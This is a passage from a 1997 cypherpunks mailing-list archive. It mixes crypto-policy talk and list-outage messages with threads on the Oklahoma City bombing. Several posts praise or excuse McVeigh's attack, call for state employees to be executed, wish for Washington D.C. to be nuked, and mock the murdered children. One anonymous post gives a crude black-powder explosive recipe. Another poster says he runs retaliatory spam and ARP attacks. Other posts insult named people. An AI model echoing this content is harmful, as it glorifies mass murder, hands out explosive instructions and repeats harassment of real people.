itself with, that is, "the greater good". Replacing one evil with a 
lesser evil is, although preferable to the status quo, not the anser. War 
is not a natural state to be in and difficult choices have to be made, 
among these is the question of how many innocents have to die to protect 
the rights of the many, I am not a pragmatist and, although it is 
unrealistic, would take a pacifist point of view here in that I would
say all war is criminal and I find it very hard, although it is of course
a logical necessity, to decide in favour of "the greater good".

>   Timothy McVeigh's position in history will likely belong in the
> hands of the winner of the war between the government and its
> citizens, but he is already considered a freedom fighter by more
> people than the government would like to admit. He has issued a
> wake-up call for those who think that they can remain nameless 
> and faceless in their complicity with government atrocities.

Yes, the more we get the message over that complying with the evil 
actions of criminals is a crime in itself, and that those who do so will 
be executed, the quicker the thugs will learn the evil of their actions.

>   While I would have chosen a different approach and target for
> an attack, I will not pass moral judgement on McVeigh's actions.
> That is between himself and his conscience.

I think one must pass judgement, Tim McVeigh`s actions were criminal and 
deplorable, but his motives were totally right, however, just as we do 
not believe in thought crime we should not believe that having the right 
motives absolves one from blame in the commision of a crime. This is why, 
judging entirely on the act itself, I would say McVeigh is a criminal, 
whether he was acting for the right reasons or not. 

>   Tim McVeigh at least had the fortitude to act on his outrage
> over what he perceived as government injustice. What did others
> do over the outrageous tragedy at Waco? Mostly they just turned
> their heads away and tried to pretend that our government is not
> a murderer of men, women and children.

Quite, people have been brow beaten and brainwashed into believing the 
violent actions of the state are justifiable, but any action they take 
themselves is criminal and wrong. For example, the truncheon wielding 
government rent-boys (for all state employees are moral prostitutes) can 
lock me in a cell and deny me basic freedoms because of what substances I 
choose to put into my own body, yet in the UK one cannot even carry a 
weapon to defend oneself against attack (For example, if someone were to 
break into my house, and I were to either shoot him or take a baseball 
bat to him, I would be prosecuted for murder or for assult).

Tim McVeigh maybe had the fortitude to act on his feelings, this does 
not mean those actions were justifiable merely by the fact they
were done out of convictions rather than greed. To return once again
to a recent topic on this list Nietzsche put it very well when he said
"Convictions are more dangerous enemies of truth than lies". From
this I also derive my own view that poloticians who genuinely believe
they are acting in the interest of the people are more dangerous
than those who act merely for financial gain or gain in prestige
and control (the will to power).

Whether Tim McVeigh`s actions showed a strength of conviction or not,
they certainly showed a moral and ethical weakness in that he 
justified the murder of innocents by the necessity to remove government
officials from power. 

You might notice I seem to be contradicting myself here, this is because
I am. I really have great problems in coming to a definitive personal
decision over questions of morality and ethics in a war situation. 
Maybe this shows a moral weakness on my part, maybe I am not sure of 
my own morality, but I think a little indecision is a good thing: it
ensures that one is always thinking and never acting on a prejudice.

>   How many government employees quit in outrage, stating that
> they would not take part in such atrocities? How many took a
> vocal moral stand against their superiors, or exposed the
> government duplicity involved in the police action?

They are all whores, so I suggest we fuck them like whores.


>   Nobody who turns their head is "innocent" and they cannot avoid
> their own responsibility if they choose to place their children
> in the line of fire as a result of their participation in crimes
> against the citizens.

Yes, they were naive, but I don`t believe for a moment they commited any 
crime, Tim McVeigh commited the crime. It is one thing to be negligent 
and through that negligence allow innocent people to be killed, it is 
quite another to actively participate in a system which persecutes and 
murders and fail to look at the evil in front of your eyes.


>   Given the wide knowledge of the OK city Federal Building being
> a known target of anti-government forces, I think the placing of
> a daycare center there was the equivalent of military forces who
> cowardly advance with women and children in front of them. (And
> there are ample examples of this in history.)

Yes, but this military did not force the innocent children to be there, 
it possibly spread disinformation and propoganda which convinced the 
parents that their children were safe in the building, the parents were 
naive and overtrusting if they believed this, but the only criminal 
was McVeigh in this particular instance.


>   Those in government express outrage at the barbarity of an
> individual citizen attacking his oppressors, but apparently are
> not outraged enough to stop their oppression.

Quite, their logic is flawed because they have been brainwashed, it is a 
sad fact that many of these criminals are merely stupid or conformist.

>   The fact is that we have a police state whose power and abuse
> of power are growing by leaps and bounds because there has been
> no realistic amount of accountability attached to their actions.

The only level of accountability acceptable is for any member of the 
state to be immediately executed on the spot for the commision of any 
crime.

>   This is an unnatural state of affairs and one that human nature
> will correct. When things become too far out of balance, then
> the universal laws of nature correct the situation. I believe that
> the dinosaurs learned this lesson, as well.

So will the state, when, in the words of Tim May, they are "cleansed in 
the nuclear fire".


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







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From osborne at gateway.grumman.com  Mon May 12 11:08:24 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Tue, 13 May 1997 02:08:24 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>


________________________ R i c k   O s b o r n e ________________________
I said:
>I appreciate the inference as to my (lack of) intelligence.  ;)

To which Vulis wrote:
>Your lack of ethics, rather.  You choose to work for someone who chooses
>to use inadequate Microsoft software, and you brandish these choices as
>an excuse to interfere with somene's free speech.

I'm not brandishing anything as an excuse, simply stating this: I should
not have to walk through the street (get my email) wearing 4 inches of
kevlar (using spam filters), *just in case* someone decides to whip out a
submachine gun (spam).  It should not me my job to defend myself from
psychos, rather people should have to ask my permission to infringe upon my
space and time.

Microsoft (and I can't believe I'm saying this) actually is doing it right
for a change: when you sign up to be a part of any of their "clubs" (SBN,
etc), you get asked if you want to receive further mail.

How am I taking away from Sanford's right to free speech by just spamming
him back?  I sgree with this weekend's discussion on arp attacks:
technically, they should be no different than spam attacks.  WHy then
should he (or whoever) have the right to spam me without fear of retribution?

>I'm fairly confident that they will withstand whatever attacks these
>half-brained wannabe hackers and anti-free-speech hooligans can invent.

Actually, and this is just MHO, I don't really care if the 100 or so
spams/arps I send them are but a mosquito's bite to them.  It makes *me*
feel better.  I'm not in this necessarily to shut anyone down (though it
would be a nice side-effect), just to annoy them as much as they annoy me.
Like I said, I'm more of the passive-agressive type, so I'm not here to
wage a war, just a few small skirmishes.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"A heart of gold beats under that big fiberglass croissant, Arthur.  And
thank goodness for it!  It's spirit like hers that allowed us to thwart
Chairface's evil scheme and thwart we did."






From jya at pipeline.com  Mon May 12 11:35:24 1997
From: jya at pipeline.com (John Young)
Date: Tue, 13 May 1997 02:35:24 +0800
Subject: Cryptography Forum
Message-ID: <1.5.4.32.19970512181438.008ab04c@pop.pipeline.com>


Forward from Cyberia-L:

Cryptography Forum
May 22, 1997 at 7:00 p.m.
Association of the Bar of the City of New York
22 West 44th Street, New York City

Interested persons are invited to attend.  No fee or
reservation is required.

TITLE OF PROGRAM:
Guns, Ammunition and Cryptography: Is the Government's
Policy on Digital Encryption Creating a Crisis?

A moderated panel will discuss issues raised by the
Government's policy on cryptography.

MODERATOR:
Charles R. Nesson, Professor, Harvard Law School

PANELISTS:
Jim Bidzos
President and CEO, RSA Data Security, Inc.

Scott Charney
Computer Crime Unit, Department of Justice

Kenneth W. Dam
Professor, University of Chicago Law School; Chair,
National Research Council Committee to Study National
Cryptography Policy

Dorothy E. Denning
Professor, Computer Science Department, Georgetown
University

David J. Farber
Professor, Computer and Information Science and Electrical
Engineering Departments, University of Pennsylvania

Marc Rotenberg
Director, Electronic Privacy Information Center

Sponsored by the Committees on Computer Law, Civil Rights,
Science and the Law, and Symposia, of the Association of
the Bar of the City of New York

For additional information, e-mail jzammit at fulbright.com or
dcohen at bway.net






From nobody at REPLAY.COM  Mon May 12 12:18:11 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 13 May 1997 03:18:11 +0800
Subject: Disinformation in L.A.
Message-ID: <199705121902.VAA20704@basement.replay.com>


> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.

Potassium nitrate is a natural byproduct of the decay of organic material.
It is highly soluable in warm water, but at low temperatures (<10C) will
quickly precipitate out and be displaced in solution by other salts, such
as sodium chloride.  Extract by evaporation of water from chilled solution.
Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
and ignite to produce explosion.

This has been known for centuries.  The Chinese used this mainly for
pyrotechnic displays and entertainment, however the Europeans have found
more political applications of the technology.






From jer+ at andrew.cmu.edu  Mon May 12 13:09:55 1997
From: jer+ at andrew.cmu.edu (Jeremiah A Blatz)
Date: Tue, 13 May 1997 04:09:55 +0800
Subject: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>
Message-ID: <0nRrIt200YUe082No0@andrew.cmu.edu>


Kent Crispin  writes:
> On Sun, May 11, 1997 at 01:18:43PM -0700, Lucky Green wrote:
> > People won't use crypto unless it is either transparent, meaning put there
> > *for* them by the OS vendor/application developer or because the see a need
> > for using it. The few fanatics that use crypto because "it is cool" are
> > inconsequential when the objective is bringing crypto to the masses.
> 
> I guess we are doomed, then.

Netscape Communicator has S/MIME built in. I'd imagine that their
support is kinda cheezy and underuses crypto, but it's a step in the
right direction. Considering how open the internet is to snooping, I
think it's nearly insane for business users to not use crypto. I guess
it's testimony to the effectiveness of draconian gov't regualtions.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole






From dibona at acm.org  Mon May 12 13:47:36 1997
From: dibona at acm.org (Chris DiBona)
Date: Tue, 13 May 1997 04:47:36 +0800
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <01BC5ED2.4E86C710@marmoset.loc201.tandem.com>


This really came as no surprise to anyone who deals with RSA. Note I am only talking for myself when I write this, but there is a LOT of money to be made by someone (certicom?) if they can give a cross-platform rsa type solution. I mean RSA has a fairly good product,but I can name at elase two other companies who've had this exact same problem with cross-licensing.

Really, does RSA expect Netscape or Microsoft to re-license every time they allow an oem to repackage thier products into or as part of a suite of programs with a third party vendor? RSA has a bunch of bullies at thier helm. They should realize that pulling this kind of crap will only make people jump ship faster when another company comes calling with a similar product and less restrictive licensing. 

I think that RSA should also realize that without PGP, their market would be much smaller, I think every time RSA licenses thier (now renewed) patents, they should think of Phil. I don't mean to saint the guy here or anything, but they owe him a debt that is difficult to quantify. By suing PGP they are basically saying , if I can extrapolate in a rather extreme manner, "privacy is okay, but only if we make money at it." 

And keep in mind , I don't begrudge RSA thier right to make money off thier intellectual property, but suing your customers except in the most extreme situations should be seen as a warning sign to the industry that to deal with RSA as a vendor is to take a risk that may be dangerous. 

    Chris DiBona
    dibona at acm.org






From nobody at huge.cajones.com  Mon May 12 14:01:50 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 05:01:50 +0800
Subject: Applauding Violence (was: Re: Wine Politics Again! (fwd))
Message-ID: <199705122042.NAA06412@fat.doobie.com>


Peter Trei wrote:
> >> On Fri, 9 May 1997, Tim May wrote:
> >>Every day that passes, I'm more convinced that McVeigh did the right
> >>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
> >>that.

> I'm getting progressively more turned off by
> Tim's developing survivalist/confrontationist stance. I fear that
> journalists and other casual readers will mistake his positions
> for common 'cypherpunk' viewpoints.

  If they don't know shit from shinola, then let them base their beliefs
on any mistaken notion they wish.
  Every cypherpunk who wants to edit their posts out of fear that some
dweeb will mistake them for the God of Cypherpunks raise your hand.
  (Looks like you're the only one, Peter.)
 
> The type of armed, ingrained bitterness towards all aspects and
> manifestations of government he displays is hazardous to himself
> personally; I can envisage a simple traffic stop turning violent.

  It certainly did for Rodney King.
 
> Worse, he's demonizing his opponent. This is counter-productive.
> It's better to try to understand the actual underlying goals of
> your opponent - it gives you a much better chance at turning
> him into your ally, or avoiding a conflict if you cannot do that.
> If he can be neither turned nor avoided, the minimum action to
> change the status quo should be used.

  Precisely. The level of minimum action needed to change the status
quo is increasing by leaps and bounds.
  If the average citizen was not complacently allowing the government
to run ramshod over the rights and freedoms of the citizens, then the
individuals who choose to battle this oppression would not have to
take such drastic action in retaliation.
 
> The policies of the current gang in power are bad, and may well
> get worse. But terrorism is not yet an appropriate response, and
> I pray that it never will be.

  Everyone has their own threshold of pain which they can endure
before they feel compelled to take steps to counteract the actions
of the source of that pain.
  For some that threshold is a slap, for some a punch, and for some
it is a beating. Those who cause pain to others will suffer the
consequences of their actions. This applies to the people who are
lowest on the totem pole in the oppression of the citizens just as 
much as it applies to Timothy McVeigh.

  I didn't notice any great cries of outrage when the U.S. attack
on Saddam Hussein resulted in the death of innocents. It seems that
some lives are deemed more expendable than the lives of others.
  When U.S. forces slaughtered retreating Iraqui troops a great
cheer of victory sounded throughout the nation. Had the opposite
scenario been the case, the nation would have been calling for the
heads of the Iraquis for their callousness.

  If those who participate in the unjust persecution of a plethora
of the nation's citizens become so comfortable with their ability
to remain insulated from the consequences of their actions that they
feel free to place their children at the scene of the crime, then 
they face the same responsibility as someone who takes their child
along on an armed robbery.

  The terrorism was not instituted by the citizens against their
government, but the other way around.

TruthMonger #2






From nobody at huge.cajones.com  Mon May 12 14:23:20 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 05:23:20 +0800
Subject: Mondex
Message-ID: <199705121910.MAA00866@fat.doobie.com>


Date: Mon, 12 May 1997 
From: Graham-John Bullers 
To: lucifer Anonymous Remailer 
Cc: cypherpunks at toad.com
Subject: Re: Mondex

I think Vulis needs each of us to send ten copies of this back to
him.

On Sun, 11 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May is a pimply Graham-John Bullers sitting at a 
> computer chortling at his own imagined cleverness.
> 
>              |||||||||||
>               \~0/ \0~/
>               <  (0)  >
>          --oOO--/|||\--OOo- Tim C[unt] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From frissell at panix.com  Mon May 12 14:38:29 1997
From: frissell at panix.com (Duncan Frissell)
Date: Tue, 13 May 1997 05:38:29 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
Message-ID: <3.0.1.32.19970512171524.028df2c8@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

The Inducement of Rapid Oxidation of Certain Materials in or Near Government
Buildings

At 04:07 AM 5/11/97 +0200, M. Froomkin wrote:
>[... ugly stuff about "soft targets"]
>
>It ill behooves participants in a democracy to either advocate or even
>tolerate or even cluck sympathetically at mass murder for political ends. 
>This way lies Bosnia.

Tim is neither a democrat nor a participant in a democracy.  Note that all
the parties involved in the current Balkans war are governments (or claim to
be). 

Most of the violence in interactions between people and governments is on the
government side.  The U.S. government and others have been committing mass
murder for years.  Supporters of those governments thus support mass murder
for "political ends."

Governments have murdered 170 million people since 1900.  My
back-of-the-envelope estimate is that the civilians of the world have only
murdered about 20 million people in the same period of time.  Quite a
disparity.

The U.S. government and its subsidiaries (for example) annually kill hundreds
of people in carrying out the "war" on the unlicensed retailing of
pharmaceuticals.  The U.S. was convicted of war crimes in the International
Court of Justice in the Hague in the late 80's for dropping air-sown mines in
one of Nicaragua's harbors.  The U.S. practices the mass bombing of civilian
populations in wartime which causes a very great loss of innocent life.  Many
of the other governments of the world are worse.

The principle of estoppel would seem to logically preclude the world's
governments from arguing that their mass murders are OK but those committed
by amateurs (which kill many fewer people) aren't.

Again, and in general, some of the readers of this and other recent threads
on cypherpunks need some reading lessons (present company excepted).  Tim May
has not advocated blowing things up (though such advocacy remains legal).  He
has not advocated that cypherpunks blow things up.  He has not advocated that
Timothy McVeigh blow things up.  He has not even said that blowing things up
is a hip and happening way to raise the average IQ and moral level of the
surviving population.  

He has merely said that if OTHER PEOPLE blow certain things up he understands
their actions and that in the case of certain targets he would not shed a
tear.  He also predicted that people will be blowing things up in the future
(with which prediction, even the U.S. government agrees).

In any case, cypherpunks' orientation is towards the mathematics of
cryptography rather than towards chemical engineering.

DCF

"If the Red Queen blows things up it's a virtue.  If you blow thgings up it's
a vice." -- The Mad Hatter.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM3eIZoVO4r4sgSPhAQEi7gP+K0cDa/6qXtB8FPfmn9Evk2LRxV9qNiQ+
AIjCagp/MeV2WnHKkEcTrX+geZxDOAhDn8XdHopf6sozI2CZlZYxsEqPFOBb0gjx
wnpN/j6zjWxFkTdBO+UGrNPK4+G9+hkm1BPjaJSbsgHT2UrLSsK0YUzu1dW4EQtH
gPKh8/2baSM=
=2y+Y
-----END PGP SIGNATURE-----






From ichudov at algebra.com  Mon May 12 14:49:39 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 05:49:39 +0800
Subject: Camera Hacking
In-Reply-To: 
Message-ID: <199705122140.QAA05113@manifold.algebra.com>


Tim May wrote:
> 
> 
> (I sent this article to cypherpunks at cyberpass.net, but am getting no
> traffic from that site, and some of my messages have bounced. I've
> subscribed to cypherpunks at algebra.com and will resubmit some of my recent
> articles to that address. It would be nice if the "interlinked lists"
> system could work to handle outages of sites, and not just mutual
> distributions of articles. Any ideas?)

The messages get distributed between cypherpunks sites by way of email.

Any email message is normally stored in queues for five days, if the
recipient site is down. So short outages of cyberpass, or algebra.com,
will not make any messages disappear and cyberpass subscribers will
eventually get them.

I must assure you that there will be time when algebra.com will have
to be brought down for a couple of days or so, for scheduled maintenance.

I will try to give ample warning and maybe transfer the whole list of 
subscribers to some other site.

igor






From ichudov at algebra.com  Mon May 12 14:56:00 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Tue, 13 May 1997 05:56:00 +0800
Subject: The Interlinked Cypherpunks Lists?
In-Reply-To: 
Message-ID: <199705122148.QAA05204@manifold.algebra.com>


Tim May wrote:
> I surmise that something is wrong. So I've subscribed to one of the
> alternates, cypherpunks at algebra.com.
> 
> Some thoughts:
> 
> * Is it possible for the interlinked lists to send out announcements of
> list problems to subscriber of all such lists? (Each list owner could do a
> periodic "who cypherpunks" of the other lists, then use this list to send a
> message if a problem comes up. More sophisticated cross-processing could
> eliminate duplicates, etc.)

I think that it is rather desirable.

Also, I am curious if Raph Levien could adapt his remailer pinging system
to pinging the cypherpunks network, and produce his reports about the
speed and reliability of each site.

> * Alternatively, if one of the sites goes down, such as
> "cypherpunks at cyberpass.net" seems to have done, could the other sites
> automagically pick up the task of distributing articles until the site
> comes back up?

I've been thinking about the same problem in the last month, and I am not
sure how to solve this problem simply and reliably.

The advantage of the current network is that it was extremely simple to
propose and build.  It would be great if someone could propose something
as simple for the task that you are suggesting.

> * How feasible is it to have a single "virtual subscription address" which
> gets traffic from one of the various list sites? (To avoid having to
> subscribe to two or more lists and thus getting duplicates.)

It is not hard, of course, but how should it be different from any other
node in the network? Any existing node is such a virtual subscription
address, and each of them is a potential point of failure for their 
respective subscribers.

The only true reliability can be achieved by subscribing to two or more
cypherpunks sites, and eliminating duplicates. Reliability has its costs.

	- Igor.






From aba at dcs.ex.ac.uk  Mon May 12 15:00:29 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 13 May 1997 06:00:29 +0800
Subject: cyberpass.net got a problem?
Message-ID: <199705122156.WAA02582@server.test.net>



Hardly any traffic at all today.

Is cyberpass.net ok?

I sent a `who cypherpunks' to majordomo at cyberpass.net and got a
response back instantly from sirius.infonex.com, so it's _there_.

Most of the small amount of traffic that there is, seems to be from
algebra.com and toad.com.

I've just subscribed to algebra.com, in case I'm missing out on
articles (my procmail will kill duplicates if any).

How are people on algebra.com finding the traffic?  (2 articles dated
12th in total as of 21:40 GMT (+0)).

Adam
--
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


test






From nobody at huge.cajones.com  Mon May 12 15:17:16 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 13 May 1997 06:17:16 +0800
Subject: Digital signatures
Message-ID: <199705122154.OAA10465@fat.doobie.com>


Timmy May's family tree goes straight up. All of his ancestors 
were siblings, to dumb to recognize each other in the dark.

        _  o
       |<)_/# Timmy May
       TT  


http://www.sourcefile.com

Just how many "authorized personnel" are there, and who all is paying
them to do what?







From aba at dcs.ex.ac.uk  Mon May 12 15:45:45 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 13 May 1997 06:45:45 +0800
Subject: `careerpunks'
Message-ID: <199705122216.XAA02603@server.test.net>



[This post cc cypherpunks at algebra.com & cypherpunks at cyberpass.net to
aid propogation which seems to be struggling.]

In trying to figure out which lists were working, I noticed that there
are now many more people on coderpunks and cryptography than there are
on cypherpunks... take a look at these figures:

  713 cryptography at c2.net
  713 coderpunks at toad.com
  245 cypherpunks at algebra.com + cypherpunks at cyberpass.net - duplicates

Seems to me many of the `cypherpunks' have become `careerpunks' and
are now more interested in trading crypto tips, trade gossip, than in
cypherpunks projects.

They went through the phase of buying kewl domain names (take a look
down the subscriber lists), tinkering with remailers, and have now
graduated to making money from crypto consulting, and lost interest in
the issues where they don't add to the bottom line.

Oh yeah, I know you might argue that selling crypto is a good thing,
and it is, but the two are not completely focused in the same
direction: corporate, or consulting interests want to sell crypto, to
export crypto, cypherpunks want tools to increase the power of the
individual.

An example of this different focus is perhaps the SAFE bill.  Lots of
corporates seem keen on SAFE, because it increases their market place.
Individuals right to use crypto in the US can go to hell.

Before anyone leaps down my throat, the above is a gross
generalisation, and is intended as food for thought only.  I know
plenty of you who are involved in the crypto business and who haven't
lost your ideals, and think SAFE is a bad deal, etc.

However, I think the trend exists.

Adam

(btw coderpunks won't give you it's subscriber list unless you're
subscribed)
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


Monique Lamont wrote:
> on the subject of wine-importing restrictions in florida:
> tcmay wrote:
> > Every day that passes, I'm more convinced that McVeigh did the right > thing.
> > Some innocents died, but, hey, war is hell. Broken eggs and all > that.
 
> it's illegal to ship wine to floridans now, so therefore it is okay
> to execute the responsible officials and blow up innocents.
> 
> HELLO PEOPLE!  buy a clue from the Discount Clue Store, and
> while you are out, stop by the Jiffy Lube and get your
> common human decency refilled.
> alice0
> ---------------------------------------------------------
> Get Your *Web-Based* Free Email at http://www.hotmail.com
> ---------------------------------------------------------

  aliceO wants the innocents to live so that she can spam them
to death from her account at hotmail.com.
  They're better off dying quick and painlessly...

SpamMonger







From declan at pathfinder.com  Mon May 12 16:05:43 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Tue, 13 May 1997 07:05:43 +0800
Subject: CAK/GAK center, "first and only U.S. Govnt. approved"
In-Reply-To: <199705122207.PAA11242@fat.doobie.com>
Message-ID: 


This was mentioned by S. Forbes in a recent editorial in the mag, I
believe.

-Declan


On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> http://www.sourcefile.com
> 
> Just how many "authorized personnel" are there, and who all is paying
> them to do what?
> 
> 
> 






From tcmay at got.net  Mon May 12 16:20:34 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 07:20:34 +0800
Subject: Snickering at the Compromisers
In-Reply-To: <199705122042.NAA06412@fat.doobie.com>
Message-ID: 


I'm not seeing some fraction of the list's traffic, for reasons unclear to
me (but problems at cyberpass.net seem to be involved), so I'll have to
respond to messages as best I can.

At 12:42 PM -0800 5/12/97, Huge Cajones Remailer wrote:
>Peter Trei wrote:
>> >> On Fri, 9 May 1997, Tim May wrote:
>> >>Every day that passes, I'm more convinced that McVeigh did the right
>> >>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
>> >>that.
>
>> I'm getting progressively more turned off by
>> Tim's developing survivalist/confrontationist stance. I fear that
>> journalists and other casual readers will mistake his positions
>> for common 'cypherpunk' viewpoints.

I never worry about representing the "common 'cypherpunk' viewpoint." I
represent my own views. Those who agree, can agree. Those who don't, don't.
Sounds fair to me.

As for anger and a survivalist mentality...some readers obviously weren't
around right after Waco, for example. (Though much of the anger was vented
on related lists, such as Extropians.)

And the creation of the group and mailing list can be traced back to a
strongly "survivalist" mode of thinking in 1992 and then into 1993, when
the implications of the Clipper program became clear. (Some of us saw the
seeds of Clipper six months earlier, in events during the first month of
the list's existence.)

Now that those who only want to talk about mathematical algorithms have
their own moderated mailing lists, there is much less reason to avoid
sociopolitical essays. Those who don't want to hear about politics and want
only to discuss C++  programming tricks are free to avoid the Cypherpunks
list.


>> The type of armed, ingrained bitterness towards all aspects and
>> manifestations of government he displays is hazardous to himself
>> personally; I can envisage a simple traffic stop turning violent.

Only if I'm stopped illegally. I've been stopped, but my truck has never
been searched.(Though California is, like any good police state, expanding
the grounds under which vehicles may be searched.)

>> Worse, he's demonizing his opponent. This is counter-productive.
>> It's better to try to understand the actual underlying goals of
>> your opponent - it gives you a much better chance at turning
>> him into your ally, or avoiding a conflict if you cannot do that.
>> If he can be neither turned nor avoided, the minimum action to
>> change the status quo should be used.

I freely admit I have never had the patience to analyze in detail their
world view. This is why I'm not a "policy wonk," I suppose. I did analyze
the writings of Denning in enough detail to figure out where she was going,
which made her appearance as the Clipperchick hardly surprising.

Do I "demonize" them? No, I just think they're thieves and liars, and in
many cases murderers. I could recap the many examples of this, from
well-substantiated evidence the CIA was running drugs, to acts of military
terrorism by the U.S....but this is all well-trod ground. (Part of why
little effort need be expended trying to "understand the actual underlying
goals" of these politicians and bureacrats.

As with gun rights and the NRA, understanding the "goals" of a Sarah Brady
or Diane Swinestein is a waste of time...their goals are transparent. The
NRA, a vasly larger and better organized group than we are, tried to
"understand" and "reach common ground" with these folks and got stomped on
by the process. Ditto for the EFF. Washington, like Paris, like Teheran,
like all imperial capitals, thrives on such Borg-like assimilations.

>> The policies of the current gang in power are bad, and may well
>> get worse. But terrorism is not yet an appropriate response, and
>> I pray that it never will be.

For the 3rd or 4th time, I have never advocated terrorism, at least not of
a physical sort. I have said I hope to see D.C. nuked, which is hardly the
same as "advocating" terrorism in any meaningful sense (not even the "will
no one rid me of this corrupt city?" sense, given that I have no
Beckett-like powers).

And I have said I can understand some of the motivations of McVeigh, though
I think what he did hurt the cause of liberty.

Those who don't like my honest expressions of opinions should go elsewhere.
Things are bad here in this growing police state, but it isn't yet evidence
of a crime to wish for certain things. (There appears to be an exception
for publically wishing something bad will happen to certain persons who
play golf a lot and ride in Air Force One...part of America's New Royalism.
Though even in this case a leading Senator who warned that Clinton had
better be wearning a bulletproof vest if he visits his home state was not
charged with any crime...if some college student had made exactly the same
threat he'd have been raided, thrown in jail for a week or so with Bubba
(the other Bubba), expelled from college, and so on.)

The Cypherpunks list is clearly not for everyone. Many who were once major
contributors have left, or moved on, or whatever. Some even work in crypto,
and at least one company is mainly made up of folks who met on the
Cypherpunks list.

That some of them have lost interest in politics, or denounce the current
list as "too political," or refer to anyone not doing a crypto company as
"Cypherpunks hobbyists," well, that's to be expected. The Cypherpunks list
was not to everyone's liking even 4 years ago, as any reading of the
Detweiler Wars will obviously see. And back then there were calls for more
compromises with the Washington power establishment, for working with
legislators, and so on. Some even left the list back then because the list
was too "anarchic," and wouldn't adopt an official Charter, an official
Spokespunk, and so on. So?

As a final note, some of the folks over the years urging more official
links to the Washington establishment, more "crypto outreach" to
legislators, actually lived in the Virginia-D.C.-Maryland area. In one
telling example, at the famous post-Clipper emergency meeting (4/93), some
of them called for more Cypherpunk outreach to D.C. "Fine," we said (we
being the 40 or so folks in the crowded room in Mountain View), "we're glad
you've volunteered to make political action your special focus." Those of
us in Silicon Valley, 3000 miles away from D.C., were happy to hear some
"locals" planning a D.C. effort. Alas, but predictably, this never went
anywhere. So, everytime I hear suggestions on the list that Cypherpunks
should "work with Washington," I think of this and snicker.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon May 12 16:29:28 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 07:29:28 +0800
Subject: `careerpunks'
In-Reply-To: <199705122216.XAA02603@server.test.net>
Message-ID: 


At 2:16 PM -0800 5/12/97, Adam Back wrote:
>[This post cc cypherpunks at algebra.com & cypherpunks at cyberpass.net to
>aid propogation which seems to be struggling.]
>
>In trying to figure out which lists were working, I noticed that there
>are now many more people on coderpunks and cryptography than there are
>on cypherpunks... take a look at these figures:
>
>  713 cryptography at c2.net
>  713 coderpunks at toad.com
>  245 cypherpunks at algebra.com + cypherpunks at cyberpass.net - duplicates
>
>Seems to me many of the `cypherpunks' have become `careerpunks' and
>are now more interested in trading crypto tips, trade gossip, than in
>cypherpunks projects.

Interesting. I just made some similar remarks in my "Snickering at
Compromisers" article, which just went out as this one was coming in.

I know of a company most of whose employers met each other through the
Cypherpunks list. Yet the leader of this company announced that his was a
real company (which it surely is), "not just a Cypherpunks hobby."

